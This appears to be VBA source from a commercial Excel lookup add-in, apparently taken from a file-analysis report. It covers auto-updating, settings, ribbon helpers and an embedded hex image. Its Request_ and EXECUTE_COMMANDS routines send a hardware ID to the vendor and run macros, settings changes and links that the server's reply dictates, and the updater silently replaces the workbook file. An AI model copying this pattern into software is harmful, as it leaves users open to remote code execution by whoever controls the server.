If UpdateButtonCaption$ = "" Then UpdateButtonCaption$ = "Install update now"
If ShowUpdateButton Then Set UpdateButton = Add_Control(AddinMenu, ct_BUTTON, 1623, "InstallUpdate", " " & UpdateButtonCaption$ & " ", msoButtonIconAndCaption, True)
RunWithDelay "DownloadUpdate", 2
End If
End If
End If
End Sub
Sub DownloadUpdate()
InstallUpdate True
End Sub
Sub InstallUpdate(Optional ByVal DownloadOnly As Boolean = False)
On Error Resume Next
Dim URL$, NewFilename$, FileSize&, OldFilename$, FilePath$
If Not UpdateAvailable Then Exit Sub
URL$ = SETT.GetText("NewVersionURL", , "Updates")
SETT.SetText "InstallLastAttemptTime", Now, "Updates"
NewFilename$ = FWF.temp_folder & FWF.Replace_symbols("Update_" & PROJECT_NAME$ & "_" & _
SETT.GetText("NewVersion", "X.X.X", "Updates") & "." & FWF.GetFileExtension(URL$))
FileSize& = SETT.GetNumber("NewVersionSize", 0, "Updates")
If FWF.FileExists(NewFilename$) And (FileSize& > 0) Then
If FileLen(NewFilename$) <> FileSize& Then Kill NewFilename$
End If
Kill NewFilename$
If Not FWF.FileExists(NewFilename$) Then
SETT.SetText "InstallComment", "Start downloading file... " & URL$ & " to " & NewFilename$, "Updates"
If Not FWF.DownLoadFileFromURL(URL$, NewFilename$, True) Then
SETT.SetText "InstallComment", "Can't download file", "Updates": Exit Sub
End If
SETT.SetText "InstallComment", "Download finished: " & URL$ & " to " & NewFilename$, "Updates"
If Not FWF.FileExists(NewFilename$) Then
SETT.SetText "InstallComment", "Downloaded file not found", "Updates": Exit Sub
End If
End If
If (FileSize& > 0) And (FileLen(NewFilename$) <> FileSize&) Then
SETT.SetText "InstallComment", "Filesize does not match (original = " & FileSize& & ", downloaded = " & FileLen(NewFilename$) & ")", "Updates": Exit Sub
End If
If TrueDeveloper Then Application.StatusBar = Now & " InstallUpdate started, DownloadOnly = " & DownloadOnly: Exit Sub
If DownloadOnly Then Exit Sub
OldFilename$ = FWF.temp_folder & FWF.Replace_symbols("Backup_" & PROJECT_NAME$ & "_" & GetVersionTXT & _
"_" & Format(Now, "DD-MM-YYYY_HH-NN-SS") & "." & FWF.GetFileExtension(ThisWorkbook.FullName))
SETT.SetText "LastBackup", OldFilename$, "Updates"
Application.DisplayAlerts = False: If TrueDeveloper Then Exit Sub
FilePath$ = ThisWorkbook.FullName: ThisWorkbook.ChangeFileAccess xlReadOnly
SETT.SetText "InstallComment", "Deleting old version: " & FilePath$, "Updates"
SetAttr FilePath$, vbNormal
FileCopy FilePath$, OldFilename$ ' old version backup
Kill FilePath$: DoEvents
If FWF.FileExists(FilePath$) Then
SETT.SetText "InstallComment", "Can't delete old version", "Updates": Exit Sub
End If
SETT.SetText "InstallComment", "Old version was deleted successfully " & FilePath$, "Updates"
FileCopy NewFilename$, FilePath$: DoEvents
If Not FWF.FileExists(FilePath$) Then
SETT.SetText "InstallComment", "Can't copy new version", "Updates"
Kill FilePath$: DoEvents
FileCopy OldFilename$, FilePath$ ' old version restore
Exit Sub
End If
SETT.SetText "InstallComment", "Update was successfully installed at " & Now, "Updates"
Application.OnTime Now + TimeSerial(0, 0, 2), "'" & FilePath$ & "'" & "!ClearUpdatesInfo"
Application.DisplayAlerts = True
ThisWorkbook.Close False
End Sub
Sub ClearUpdatesInfo()
With SETT
.Delete "NewVersionType", "Updates": .Delete "NewVersionNumber", "Updates": .Delete "NewVersionURL", "Updates"
.Delete "NewVersionType", "Updates": .Delete "NewVersionSize", "Updates": .Delete "NewVersion", "Updates"
End With
End Sub
Function Request_(ParamArray args()) As Boolean
On Error Resume Next: Dim xmlhttp As Object, POST() As Byte, PostData$, i&, Response$
Set xmlhttp = CreateObject("WinHttp.WinHttpRequest.5.1")
xmlhttp.Open "POST", UPDATES_HYPERLINK$, True
xmlhttp.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
If Not IsMissing(args) Then
For i = LBound(args) To UBound(args)
If args(i) Like "?*=?*" Then PostData = PostData & "&" & Split(args(i), "=")(0) & "=" & Split(args(i), "=", 2)(1)
Next i
End If
PostData = PostData & "&HWID=" & HWID(PostData Like "*action=activation*")
POST = StrConv(URL_Encode(SETT.PostData & PostData), vbFromUnicode)
xmlhttp.Send (POST): DoEvents
If MU_ Or xmlhttp.WaitForResponse(3) Then
If Val(xmlhttp.Status) <> 200 Then Debug.Print xmlhttp.Status, xmlhttp.StatusText
Response$ = xmlhttp.ResponseText
End If
Set xmlhttp = Nothing
If Response$ Like "%*%" Then Request_ = True: EXECUTE_COMMANDS Split(Response$, "%")(1)
End Function
Function EXECUTE_COMMANDS(ByVal txt$, Optional ShowErrMsg As Boolean)
On Error Resume Next
Dim commands, i&, cmd$, arr, j&, settname$, settval$, section$, msgboxStyle As VbMsgBoxStyle, macroname$, msg$, ER&
commands = Split(txt$, "ll")
For i = LBound(commands) To UBound(commands)
cmd$ = "": arr = "": cmd$ = cmdDisplay$(commands(i))
'If TrueDeveloper Then Debug.Print cmd$
arr = Split(cmd$, " ")
For j = LBound(arr) To UBound(arr): arr(j) = Replace(arr(j), "%20", " "): Next j
Select Case arr(0)
Case "SET"
If UBound(arr) >= 3 Then
section$ = arr(1): settname$ = arr(2): settval$ = Replace(Split(cmd$, " ", 4)(3), "%20", " ")
If settval$ = "now" Then settval$ = Now
If Len(settname$) Then SETT.SetText settname$, settval$, IIf(Len(section$), section$, "Settings")
End If
Case "SETH"
Dim ind&, params$: params$ = Split(cmd$, " ", 2)(1)
If params$ Like "*#=*" Then
ind& = Val(Split(params$, "=", 2)(0))
If ind > 0 Then SETT.WSP ind&, Split(params$, "=", 2)(1)
End If
Case "RUN"
macroname$ = "'" & ThisWorkbook.Name & "'!" & arr(1)
Select Case UBound(arr)
Case 1: Run macroname$
Case 2: Run macroname$, arr(2)
Case 3: Run macroname$, arr(2), arr(3)
Case 4: Run macroname$, arr(2), arr(3), arr(4)
End Select
Case "SH"
FollowHyperlink arr(1)
Case "MSG", "MSGE", "MSGI", "MSGW", "MSGC"
msgboxStyle = vbInformation
If arr(0) = "MSGE" Then msgboxStyle = vbExclamation
If arr(0) = "MSGW" Or arr(0) = "MSGC" Then msgboxStyle = vbCritical
msg$ = "": msg$ = Replace(Split(cmd$, " ", 2)(1), "/n", vbNewLine)
If Len(msg) Then MsgBox msg, msgboxStyle
Case "MSGA"
MsgBox tt("MSG_activation_done"), vbInformation
F_About.MultiPage1.Value = 0
Case "MSGR": F_About.MultiPage1.Value = 0
Case Else: ER& = ER& + 1 ' unsupported command
End Select
ER& = ER& - (UBound(arr) = -1)
Next i
If ShowErrMsg Then If UBound(commands) + 1 = ER& Then MsgBox "Unsupported code", vbCritical
End Function
Function ProgramYears() As String
On Error Resume Next: Dim BuiltDate As Date, PROJECT_LASTYEAR&
BuiltDate = CDate(Val(Replace(Split(ThisWorkbook.Names("BuiltDate").RefersTo, "%%")(1), ",", ".")))
PROJECT_LASTYEAR& = Year(BuiltDate): If PROJECT_LASTYEAR < 2015 Then PROJECT_LASTYEAR = Year(FileDateTime(ThisWorkbook.FullName))
ProgramYears = IIf(Year(Now) > PROJECT_YEAR, PROJECT_YEAR & " - " & Year(Now), PROJECT_YEAR)
End Function
Function SwitchTab(TabName As String) As Boolean
' © Tony Jollans, August 2008. http://www.wordarticles.com/Shorts/RibbonVBA/RibbonVBADemo.php
On Error Resume Next: Dim RibbonTab As Object
Set RibbonTab = GetAccessible(CommandBars("Ribbon"), &H25&, TabName)
If RibbonTab Is Nothing Then Exit Function
If (RibbonTab.accState(&H0&) And 32769) = 0 Then RibbonTab.accDoDefaultAction &H0&: SwitchTab = True
End Function
Public Function GetAccessible(Element As Object, RoleWanted&, NameWanted$, Optional GetClient As Boolean) As Object
Dim ChildrenArray(), Child As Object, ndxChild&, ReturnElement As Object, NameComparand$, accName$, accValue$
On Error Resume Next: accValue = Element.accValue(&H0&)
accName = Element.accName(&H0&)
Select Case accValue
Case "Ribbon", "Quick Access Toolbar", "Ribbon Tabs List", "Lower Ribbon", "Status Bar": NameComparand = accValue
Case "", "Ribbon Tab", "Group": NameComparand = accName
Case Else: NameComparand = accName
End Select
If Element.accRole(&H0&) = RoleWanted And NameComparand = NameWanted Then
Set ReturnElement = Element
Else ' not found yet
ChildrenArray = GetChildren(Element)
If (Not ChildrenArray) <> True Then
For ndxChild = LBound(ChildrenArray) To UBound(ChildrenArray)
If TypeOf ChildrenArray(ndxChild) Is Object Then
Set Child = ChildrenArray(ndxChild)
Set ReturnElement = GetAccessible(Child, RoleWanted, NameWanted)
If Not ReturnElement Is Nothing Then Exit For
End If ' Child is Object
Next ndxChild
End If ' there are children
End If ' still looking
If GetClient Then Set ReturnElement = ReturnElement.accNavigate(&H7&, &H0&)
Set GetAccessible = ReturnElement
End Function
Private Function GetChildren(Element As Object) As Variant()
Const FirstChild As Long = 0&: Dim NumChildren&, ChildrenArray()
#If Win64 Then
Dim NumReturned As LongPtr
#Else
Dim NumReturned As Long
#End If
NumChildren = Element.accChildCount
If NumChildren > 0 Then ReDim ChildrenArray(NumChildren - 1): AccessibleChildren Element, FirstChild, NumChildren, ChildrenArray(0), NumReturned
GetChildren = ChildrenArray
End Function
Function UsageExampleExists(Optional ShowForm As Boolean = False) As Boolean
On Error Resume Next: Dim UF As Object: Set UF = UserForms.Add("F_UsageExample")
If Not UF Is Nothing Then
UsageExampleExists = True
If ShowForm Then UF.Show Else Unload UF
End If
End Function
Sub FormSetError(ByRef UF As Object, Optional ByVal Control_Name$, Optional ByVal Labels_Name$)
On Error Resume Next: Dim PrevColor&, i&, Label_Name, t As Double, objParent As Object
UF.Show: DoEvents
'Application.EnableCancelKey = xlDisabled
If Len(Control_Name$) Then
Set objParent = UF.Controls(Control_Name$).Parent
Do While Not objParent Is Nothing
If TypeName(objParent) = "Page" Then
If TypeName(objParent.Parent) = "MultiPage" Then
objParent.Parent.Value = objParent.Parent.Pages(objParent.Name).Index
End If
End If
Err.Clear: i = i + 1: Set objParent = objParent.Parent
If Err <> 0 Or i > 20 Then Exit Do
Loop
PrevColor& = UF.Controls(Control_Name$).BackColor
UF.Controls(Control_Name$).BackColor = RGB(255, 0, 0)
End If
If Len(Labels_Name$) Then
For Each Label_Name In Split(Labels_Name$, "|")
With UF.Controls(Label_Name)
.ForeColor = RGB(255, 0, 0)
For i = 1 To IIf(UBound(Split(Labels_Name$, "|")) = 0, 6, 4)
.Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
Next
End With
Next
End If
If Len(Control_Name$) Then
UF.Controls(Control_Name$).BackColor = PrevColor&
UF.Controls(Control_Name$).SetFocus
End If
'Application.EnableCancelKey = xlInterrupt
For i = 1 To 1000: DoEvents: Next
End Sub
Attribute VB_Name = "mod_Main"
'---------------------------------------------------------------------------------------
' Module : mod_Main Version:
' Author : Igor Vakhnenko Date: 16.10.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/ info@excelvba.ru Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------
Option Compare Text: Option Private Module ': Option Explicit
Public Const PROJECT_NAME$ = "Lookup", PROJECT_YEAR& = 2013
Private Sub CreateCommandBar(): CreateProgramCommandBar 0: End Sub
Sub CreateProgramCommandBar(Optional ByVal RefreshOnly As Boolean = True)
On Error Resume Next
SaveDefaultSettings
Dim AddinMenu As CommandBar, coll As Collection, i&, MainMacroButton As Object
Application.ScreenUpdating = False
If Not RefreshOnly Then Run DeleteOldCommandBar
Set AddinMenu = GetCommandBar(PROJECT_NAME, True Or RefreshOnly)
Set MainMacroButton = Add_Control(AddinMenu, ct_BUTTON, 501, "LookupData", tt("MENU_001"), msoButtonIconAndCaption, True)
AddSettingsSwitcher AddinMenu, ct_DROPDOWN, , "LookupData", MainMacroButton
Add3Buttons AddinMenu
If Not RefreshOnly Then
RunWithDelay "ActivateAddinsTab"
AddUpdateButton AddinMenu
RunWithDelay "ActivateAddinsTab"
End If
If Developer Then
Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
Add_Control AddinMenu, ct_BUTTON, , "ShowFirstRunForm", "Show FirstRun Form", msoButtonIconAndCaption, True
Add_Control AddinMenu, ct_BUTTON, , "ToggleIsAddin", "Show/Hide TR Sheet", msoButtonIconAndCaption, True
End If
Application.ScreenUpdating = True
End Sub
Sub ToggleIsAddin()
On Error Resume Next
ThisWorkbook.IsAddin = Not ThisWorkbook.IsAddin
End Sub
Sub SaveDefaultSettings()
On Error Resume Next
With SETT
.LoadAllSettings
'---------------------------------------------------------------
.AddDefaultValue "OptionButton_SF_ActiveWorkbook", True
.AddDefaultValue "OptionButton_SF_ActiveSheet", True
.AddDefaultValue "ComboBox_SF_SheetIndex", 1
.AddDefaultValue "CheckBox_IgnoreCase", True
.AddDefaultValue "CheckBox_IgnoredCharsEnabled", True
.AddDefaultValue "TextBox_IgnoredChars", "{TAB}{SPACE}{160}{CR}{LF}", , True
.AddDefaultValue "ComboBox_SF_Found_Color_Interior", vbGreen
.AddDefaultValue "ComboBox_SF_Found_Color_Font", xlNone
.AddDefaultValue "TextBox_SF_Found_ColumnsList", "A-F"
.AddDefaultValue "ComboBox_SF_NotFound_Color_Interior", 13408767 'vbRed
.AddDefaultValue "ComboBox_SF_NotFound_Color_Font", xlNone
.AddDefaultValue "TextBox_SF_NotFound_ColumnsList", "A-B"
.AddDefaultValue "ComboBox_SF_FirstRow", 2
.AddDefaultValue "ComboBox_SF_LastRowColumn", "auto"
'---------------------------------------------------------------
.AddDefaultValue "OptionButton_DF_ActiveWorkbook", True
.AddDefaultValue "OptionButton_DF_ActiveSheet", True
.AddDefaultValue "ComboBox_DF_SheetIndex", 1
.AddDefaultValue "ComboBox_DF_Found_Color_Interior", 15849925 ' blue
.AddDefaultValue "ComboBox_DF_Found_Color_Font", xlNone
.AddDefaultValue "TextBox_DF_Found_ColumnsList", "A-F"
.AddDefaultValue "ComboBox_DF_NotFound_Color_Interior", 10092543 'yellow
.AddDefaultValue "ComboBox_DF_NotFound_Color_Font", xlNone
.AddDefaultValue "TextBox_DF_NotFound_ColumnsList", "A-B"
.AddDefaultValue "ComboBox_DF_FirstRow", 2
.AddDefaultValue "ComboBox_DF_LastRowColumn", "auto"
'---------------------------------------------------------------
.AddDefaultValue "TextBox_SF_CompareColumnsList", "2"
.AddDefaultValue "TextBox_DF_CompareColumnsList", "3"
.AddDefaultValue "TextBox_SF_CopyColumnsList", "8, 5-3, K-M, R, S"
.AddDefaultValue "TextBox_DF_CopyColumnsList", "H-N, P, R"
.AddDefaultValue "CheckBox_CopyNewRows", False
'---------------------------------------------------------------
.AddDefaultValue "TextBox_CopyRows_SF_ColumnsList", "0,3-5,0,0,2,1"
.AddDefaultValue "CheckBox_CopyRows_SF_CheckColumnEnabled", False
.AddDefaultValue "TextBox_CopyRows_SF_CheckColumnMask", "?*"
.AddDefaultValue "ComboBox_CopyRows_DF_LastRowColumn", 1, True
.AddDefaultValue "ComboBox_CopyRows_SF_CheckColumnNumber", 1, True
.AddDefaultValue "ComboBox_CopyRows_DF_Color_Interior", 10092441 ' light green
.AddDefaultValue "ComboBox_CopyRows_DF_Color_Font", xlNone
.AddDefaultValue "TextBox_CopyRows_DF_ColouringColumnsList", "A-F"
.AddDefaultValue "CheckBox_CopyRows_DF_Border", True
End With
End Sub
Function GetFile_MainPicture() As String
' создаёт во временной папке файл, возвращает путь к созданному файлу
On Error Resume Next: Dim F_TXT$, buf$, tmp_file$: Const BufLen& = 5000
F_TXT$ = F_TXT$ & "FFD8FFE000104A46494600010101012C012C0000FFDB0043000504040504030505040506060506080E0908070708110C0D0A0E141115141311131316181F1B16171E1713131B251C1E2021232323151A26292622291F222322FFDB00430106060608070810090910221613162222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222FFC00011080029005003012200021101031101FFC4001A000003010101010000000000000000000004060700050801FFC40037100001040004040405020309000000000001020304110005122106132231074151711423246181153233428234354352627291A1B1FFC400190100020301000000000000000000000000040500020301FFC4002B11000103030301060700000000000000000100020304112112133141053371C1D1F03234516181B1E1FFDA000C03010002110311003F00BCE799D670C66B25197BCB212F389D0EBC50000AA1A6BCBF1819ACFB373A39F25F492F212A4B6F5D03762EFBF6AFCE04E278A6566F280806754877A5D25213D47F6F49B0702C760B6DB23E11C674C86CE94926BBEF75DC5EC3EFDB05B5A2C3096BDEEB9CA74566531B8115C0EBC80B8CDAD4B90FE93A8A16492350D8909AF657A61278DB"
F_TXT$ = F_TXT$ & "8A38832ACE16DE5599262B20F509CF14EFCB411A2CEE2C9B24F6230D4EB01FCAE26A8EB7DB30DAD464D8BA42CD51AD81A23DD5E9789D788D1512788D6972046989424DA27F4947CB6F6412074F91FE9FCA9AC716B0106D9F557AF7B9B134836CF91547F0BF39CD7388D3D59D4A4BEF364005B5EB40EB58D89DEE80047A8C51B129F0752A4C5CD438CB4CAB5D9432BD68FE239BDFF98F73F7F4ED8AB5E34A624C409F795AD1B8BA06927EBFB283CD5C5B3934D71B2A4AD0C2D4929EE0849AAC4A8E7F9F87D412F5B009A5FC490A03EE2EBFEF152CE7FB8331EFFD99CEDDFF0069C451705467ADEFD212AEA27E23590AEFDC8D1FF3BF960D88037BA952E208B15D0CDB8973A622BA634E790F2592A429C73E58572C9B5EF611A85DFA038E6F09717F12CFE2C851F31CD23BF116E84A9319ED4A279880411BF4D120FB8ED7581B881B232F923937AA3D687C7CB590D11A5760740ED7B6D7EF8E6704C511B8EB2E4B7974288D07C52A33BA9765D458D3E86859DB703B6C30AEADEE6D4D81C612A74AFDE0351E9D7FA9C38A6326566F28182ECED321D1A41D3A3A8EC0E8360FBE04623252863E91C6B4C86D40293A8A6AFA81D1DD37B7AD9C17C52DA1ECE256B6644AD321D14C2820A3A8ED7B5DFBE048CC37A59210EB25121B58E6EE456AEAB03C81"
F_TXT$ = F_TXT$ & "EDBDDE1D37808B7F25333F113320E5F709C9A830DB4971D1A6BA17B01A45EF5F851F4C4FFC458EB91C40E06B2F19969429250F2F945B05A6C148E91608B07D87ADE1FE4B08970B2F2A8EE4FF00A36C172F4247CB58AA02FCEBFABED89EF8931933B8817F40EE6A116290E0694D7CB6B6BF3EDEBFCBF90A2B7E01E3EAAFDA1DD37C7C8A7AF0943C2166E90C222BC0F437AB98916E3A4289005955D9F3B2463E4283C6E97A6D393D2F17EDE5AA4B41B717A53D4D0524D3754001554455D93BC1A472E06648F855C4DC2BE1D6A0A29B71C37636DFBFDAF157C4823D70B72473C1FBAB52C42481B9239E0DBA948F96B3C42CE4F9F1E22796A64C4F91ADC6D6A0AD2BD47A123CB4F7BED89DAE0A4E60B77F497892A27E212A001DFBD68F3C5B73A35906626EBE99CDFD3A4E222B61AF8F5ABE0A6EA2A2798958D0ADFBE9FBFB61853B748B2B4EDD200BA173E6008329298D6A763E9E5A93497A9A23428E814076BDB638078219758E35CBCB994A21053E01752F87147E63742B4D8040DCFF00A123D307E7CC24E5B29286F99CF63498E7FC621A2347ED355B26EBFF0031C9E038898BC750143277E05BC0739C7C38156EA0E9AB277ABFC1F524AAADF9A1F84A9FDF0F109E38A52A566F27509CB01F76843B4A93D4763D62EFC8E0069B25318812FA65"
F_TXT$ = F_TXT$ & "36AB77F70235751EADC0F3F718B9E361B096DD139753026F75319684498F9725D53F21422B40AD9572D29210BD8EFDF7A3FEE1841F12A2AE6710A94A893B334A410170145251F2DAD8907AAEBD7BA7B1F2F46636049A2DD16BD97678379A1B7B594AFC1E0E081989721C8876ABE4C84F5D971C2544F9EABBF638AA636363B147B6D0D57862DA6060E881CE2CE459804F7F8772B6BFE5388A29A273073A334D5A89B493CA56FE435F6FC6DBF6C5E7CF1B1BB1FA54922DC232BCF39D4753D0E7212CBEEF398D0A689FE2D34404036749F2BDF7C05C0D0571B8CA0286593E302F8A7A539CCD8BA8240DCD5E907BED58F49E31ED81A5804B26E1286342D2FD57F617FFD9"
For i = 1 To Len(F_TXT$) / 2
buf$ = buf$ & Chr(Val("&H" & Mid(F_TXT$, 2 * i - 1, 2)))
If Len(buf$) > BufLen& Then res$ = res$ & buf$: buf$ = "": DoEvents
Next: res$ = res$ & buf$
tmp_file$ = Environ("tmp") & "\file_MainPicture_" & PROJECT_NAME$: Kill tmp_file$
ff& = FreeFile: Open tmp_file$ For Binary Access Write As #ff
Put #ff, , res$
Close #ff
If FileLen(tmp_file$) = Len(F_TXT$) / 2 Then GetFile_MainPicture = tmp_file$
End Function
Attribute VB_Name = "mod_Functions"
'---------------------------------------------------------------------------------------
' Module : mod_Functions Version:
' Author : Igor Vakhnenko Date: 20.12.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/ info@excelvba.ru Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------
Option Compare Text: Option Private Module
Function OpenWorkbooksList() As Variant
On Error Resume Next
Dim WB As Workbook, coll As New Collection, Item, i&
For Each WB In Application.Workbooks
If WB.Windows(1).Visible Then
If WB.Path <> "" Then coll.Add WB.FullName
End If
Next
ReDim arr(1 To coll.Count, 1 To 2)
For Each Item In coll
i = i + 1
arr(i, 1) = Item
arr(i, 2) = Dir(Item, vbNormal)
Next
OpenWorkbooksList = arr
End Function
Function ColoringEnable(ByVal FileType$) As Boolean
On Error Resume Next ' FileType$ = "SF" or "DF"
ColoringEnable = SETT.GetBoolean("CheckBox_" & FileType$ & "_Found_Color_Interior") Or _
SETT.GetBoolean("CheckBox_" & FileType$ & "_NotFound_Color_Interior") Or _
SETT.GetBoolean("CheckBox_" & FileType$ & "_Found_Color_Font") Or _
SETT.GetBoolean("CheckBox_" & FileType$ & "_NotFound_Color_Font")
End Function
Function SpecialCells_TypeConstants(ByRef ra As Range) As Range
' возвращает диапазон, содержащий все заполненные ячейки диапазона ra
On Error Resume Next: en& = Err.Number
If ra.Worksheet.ProtectContents Then ' если лист защищён
Dim cell As Range
' перебираем все ячейки в диапазоне
For Each cell In Intersect(ra, ra.Worksheet.UsedRange).Cells
If Trim(cell.Value) <> "" Then ' если ячейка непустая
' то добавляем её в результат
If SpecialCells_TypeConstants Is Nothing Then
Set SpecialCells_TypeConstants = cell
Else
Set SpecialCells_TypeConstants = Union(SpecialCells_TypeConstants, cell)
End If
End If
Next cell
Else ' если защита листа не установлена - используем штатные средства Excel
Set SpecialCells_TypeConstants = ra.SpecialCells(xlCellTypeConstants)
End If
If en& = 0 Then Err.Clear
End Function
Function SpecialCells_VisibleRows(ByRef ra As Range) As Range
On Error Resume Next: en& = Err.Number
If ra.Worksheet.ProtectContents Then
Dim ro As Range
For Each ro In Intersect(ra, ra.Worksheet.UsedRange.EntireRow).Rows
If ro.EntireRow.Hidden = False Then
If SpecialCells_VisibleRows Is Nothing Then
Set SpecialCells_VisibleRows = ro
Else
Set SpecialCells_VisibleRows = Union(SpecialCells_VisibleRows, ro)
End If
End If
Next ro
Else
Set SpecialCells_VisibleRows = ra.SpecialCells(xlCellTypeVisible)
End If
If en& = 0 Then Err.Clear
End Function
Function ParseString(ByVal txt As String) As Variant
' получает в качестве параметра текстовую строку для проверки
' возвращает двумерный массив размером N * 4 (где N - длина текстовой строки)
On Error Resume Next
n = Len(txt): ReDim arr(1 To n, 1 To 4)
For i = LBound(arr) To UBound(arr)
arr(i, 1) = i
l$ = Mid(txt, i, 1)
arr(i, 2) = l$
arr(i, 3) = Asc(l$)
arr(i, 4) = AscW(l$)
Next i
' arr(1, 1) = "#": arr(1, 2) = "Char": arr(1, 3) = "Asc": arr(1, 4) = "AscW"
ParseString = arr
End Function
Sub ParseActiveCell()
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.